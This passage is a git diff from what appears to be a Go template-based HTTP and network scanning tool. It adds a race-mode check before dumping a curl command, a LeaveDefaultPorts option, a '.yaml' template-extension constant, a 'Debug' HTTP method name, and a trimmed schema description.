- if !request.Unsafe && resp != nil && generatedRequest.request != nil && resp.Request != nil {
+ if !request.Unsafe && resp != nil && generatedRequest.request != nil && resp.Request != nil && !request.Race {
bodyBytes, _ := generatedRequest.request.BodyBytes()
resp.Request.Body = ioutil.NopCloser(bytes.NewReader(bodyBytes))
command, _ := http2curl.GetCurlCommand(resp.Request)
diff --git a/v2/pkg/protocols/http/request_generator.go b/v2/pkg/protocols/http/request_generator.go
index 78337583..83abd3df 100644
--- a/v2/pkg/protocols/http/request_generator.go
+++ b/v2/pkg/protocols/http/request_generator.go
@@ -19,6 +19,9 @@ type requestGenerator struct {
interactshURLs []string
}
+// LeaveDefaultPorts skips normalization of default standard ports
+var LeaveDefaultPorts = false
+
// newGenerator creates a new request generator instance
func (request *Request) newGenerator() *requestGenerator {
generator := &requestGenerator{request: request, options: request.options}
diff --git a/v2/pkg/protocols/network/network_input_types.go b/v2/pkg/protocols/network/network_input_types.go
index 1d7543f2..694d58c6 100644
--- a/v2/pkg/protocols/network/network_input_types.go
+++ b/v2/pkg/protocols/network/network_input_types.go
@@ -70,7 +70,7 @@ func (holder NetworkInputTypeHolder) JSONSchemaType() *jsonschema.Type {
gotType := &jsonschema.Type{
Type: "string",
Title: "type is the type of input data",
- Description: "description=Type of input specified in data field,enum=hex,enum=text",
+ Description: "description=Type of input specified in data field",
}
for _, types := range GetSupportedNetworkInputTypes() {
gotType.Enum = append(gotType.Enum, types.String())
diff --git a/v2/pkg/templates/templates.go b/v2/pkg/templates/templates.go
index ce3bdcaf..2680392b 100644
--- a/v2/pkg/templates/templates.go
+++ b/v2/pkg/templates/templates.go
@@ -21,6 +21,11 @@ import (
"gopkg.in/yaml.v2"
)
+const (
+ // TemplateExtension defines the template default file extension
+ TemplateExtension = ".yaml"
+)
+
// Template is a YAML input file which defines all the requests and
// other metadata for a template.
type Template struct {
diff --git a/v2/pkg/templates/templates_doc.go b/v2/pkg/templates/templates_doc.go
index 4abe1612..024408d5 100644
--- a/v2/pkg/templates/templates_doc.go
+++ b/v2/pkg/templates/templates_doc.go
@@ -922,6 +922,7 @@ func init() {
"TRACE",
"PATCH",
"PURGE",
+ "Debug",
}
SignatureTypeHolderDoc.Type = "SignatureTypeHolder"
diff --git a/v2/pkg/types/types.go b/v2/pkg/types/types.go
index 639b549f..64588f32 100644
--- a/v2/pkg/types/types.go
+++ b/v2/pkg/types/types.go
@@ -139,6 +139,8 @@ type Options struct {
DebugRequests bool
// DebugResponse mode allows debugging response for the engine
DebugResponse bool
+ // LeaveDefaultPorts skips normalization of default ports
+ LeaveDefaultPorts bool
// Silent suppresses any extra text and only writes found URLs on screen.
Silent bool
// Version specifies if we should just show version and exit